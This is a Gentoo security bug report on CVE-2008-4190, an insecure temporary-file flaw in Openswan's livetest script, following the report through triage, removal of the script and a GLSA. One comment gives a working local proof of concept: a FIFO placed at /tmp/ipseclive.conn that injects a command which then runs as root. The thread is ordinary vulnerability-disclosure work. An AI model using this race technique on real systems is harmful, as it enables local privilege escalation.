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Bug 238574 (CVE-2008-4190) - net-misc/openswan livetest Insecure temporary file creation (CVE-2008-4190)
Summary: net-misc/openswan livetest Insecure temporary file creation (CVE-2008-4190)
Status: RESOLVED FIXED
Alias: CVE-2008-4190
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: High minor
Assignee: Gentoo Security
URL: http://cve.mitre.org/cgi-bin/cvename....
Whiteboard: B2 [glsa]
Keywords:
Depends on:
Blocks: debian-tempfile
  Show dependency tree
 
Reported: 2008-09-24 15:41 UTC by Robert Buchholz (RETIRED)
Modified: 2009-03-09 13:59 UTC (History)
1 user (show)

See Also:
Package list:
Runtime testing required: ---


Attachments
livetest script took from version 2.6.16 (livetest,1.79 KB, text/plain)
2008-10-12 21:48 UTC, Alin Năstac (RETIRED)
no flags Details

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Description Robert Buchholz (RETIRED) gentoo-dev 2008-09-24 15:41:44 UTC
CVE-2008-4190 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-4190):
  The IPSEC livetest tool in Openswan 2.4.4 and earlier allows local
  users to overwrite arbitrary files and execute arbitrary code via a
  symlink attack on the (1) ipseclive.conn and (2)
  ipsec.olts.remote.log temporary files.
Comment 1 Alin Năstac (RETIRED) gentoo-dev 2008-09-24 22:26:01 UTC
Version 2.4.4 is quite ancient. Currently the oldest version available in our tree is 2.4.11.
Comment 2 Robert Buchholz (RETIRED) gentoo-dev 2008-09-24 22:43:09 UTC
I did not verify, but it is well possible that version is also affected. If you can, please help there.
Comment 3 Alin Năstac (RETIRED) gentoo-dev 2008-10-12 16:47:32 UTC
I've removed this useless livetest script from versions 2.4.13-r1 and 2.6.18.

However, I doubt it is a valid security issue because:
  a) cannot be triggered remotely
  b) the host known as 192.168.0.1 by local machine must be controlled by the attacker (or at least its web service)
  c) you need to trick the root user into running "ipsec livetest"
Comment 4 Stefan Behte (RETIRED) gentoo-dev Security 2008-10-12 20:16:13 UTC
It is extremely unlikely that this will ever be exploited in the wild, but it's still a security issue (though a rather theoretical one).
Comment 5 Alin Năstac (RETIRED) gentoo-dev 2008-10-12 21:48:21 UTC
Created attachment 168208 [details]
livetest script took from version 2.6.16

I'm not saying that the insecure temp file handling is a non-issue, I'm just saying this particular case is a non-issue. Let's analyse this script, shall we?

a) Since openswan daemon will not run this in any circumstance, this script must be executed by the user, through "ipsec livetest" command. However, the first thing that the script will do is identity checking through command "id -u"; if you are not root, it will do nothing.

b) Let's suppose you can trick user into running that command. wget will not override the output file, instead it will add a numeric suffix to the provided -O argument, in order to save the content into a new file.

c) What indeed is possible is that a local user could create a malicious /tmp /ipseclive.conn script and wait patiently for the superuser to run the livetest. But since this command is not documented anywhere (let alone that is pretty useless without the proper web application running on 192.168.0.1), I doubt it will ever do that.
Comment 6 Stefan Behte (RETIRED) gentoo-dev Security 2008-11-07 03:16:11 UTC
This is a potentional root exploit:

As user:
mkfifo /tmp/ipseclive.conn
cat /tmp/ipseclive.conn; echo id > /tmp/ipseclive.conn

Then, on an other terminal:
wget "https://bugs.gentoo.org/attachment.cgi?id=168208" -O livetest

Forgive the output, I do not have ipsec installed on this box:

[craig@nuw ~]$ sudo sh livetest
ikeping......
would do ikeping
livetest: line 32: ipsec: command not found
livetest: line 35: ipsec: command not found
uid=0(root) gid=0(root) Gruppen=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video),35(games),414(vmware)
livetest: line 42: ipsec: command not found
livetest: line 44: ipsec: command not found

cat waits for the input from wget to the fifo and after it received it, you immediately echo your command into the fifo which was empty again and viola, it gets executed, because the sh binary needs a few milliseconds to get loaded, it's a typical race condition.

You're right of course, it's very unlikely to be exploited, because you need a local account and must trick root into running the script, but in my opinion it's still a minor security issue.
Comment 7 Stefan Behte (RETIRED) gentoo-dev Security 2008-11-07 22:08:49 UTC
CVE-2008-4966 (http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-4966):
  linux-patch-openswan 2.4.12 allows local users to overwrite arbitrary
  files via a symlink attack on (a) /tmp/snap##### and (b)
  /tmp/nightly##### temporary files, related to the (1) maysnap and (2)
  maytest scripts.

Comment 8 Stefan Behte (RETIRED) gentoo-dev Security 2008-11-07 22:11:56 UTC
Let's handle that bug here, too.
Comment 9 Stefan Behte (RETIRED) gentoo-dev Security 2008-12-01 18:03:40 UTC
Alin, was this fixed in 2.4.13-r1?
Comment 10 Alin Năstac (RETIRED) gentoo-dev 2008-12-03 23:00:55 UTC
(In reply to comment #6)

I didn't said it cannot be exploited locally, I said it is highly unlikely (like one case in a billion, when the victim really doesn't know what he is doing) that someone will get bitten by this bug (see comment #5 point c). 

(In reply to comment #7 to #9)
> Alin, was this fixed in 2.4.13-r1?

openswan-2.6.13-r1 doesn't install any file called mysnap or mytest.
Comment 11 Stefan Behte (RETIRED) gentoo-dev Security 2009-01-08 23:44:23 UTC
Thanks! :)
Ready to vote, I vote NO.
Comment 12 Robert Buchholz (RETIRED) gentoo-dev 2009-01-08 23:55:21 UTC
Shouldn't this be B2 if it allows an attacker to trick someone into executing code?
Comment 13 Stefan Behte (RETIRED) gentoo-dev Security 2009-01-09 00:13:21 UTC
D'oh. Of course.
I just read the topic, scrolled down fast, saw "symlink", the CVE, B3... forgot about and overread the code exec.

Good to see other people are watching...

Changing whiteboard accordingly and going to bed in order not create more fuckup on bugzilla (at least) this night... ;(
Comment 14 Pierre-Yves Rofes (RETIRED) gentoo-dev 2009-01-11 18:17:35 UTC
request filed.
Comment 15 Robert Buchholz (RETIRED) gentoo-dev 2009-03-09 13:59:15 UTC
GLSA 200903-17
Comment 16 Robert Buchholz (RETIRED) gentoo-dev 2009-03-09 13:59:44 UTC
sorry, GLSA 200903-18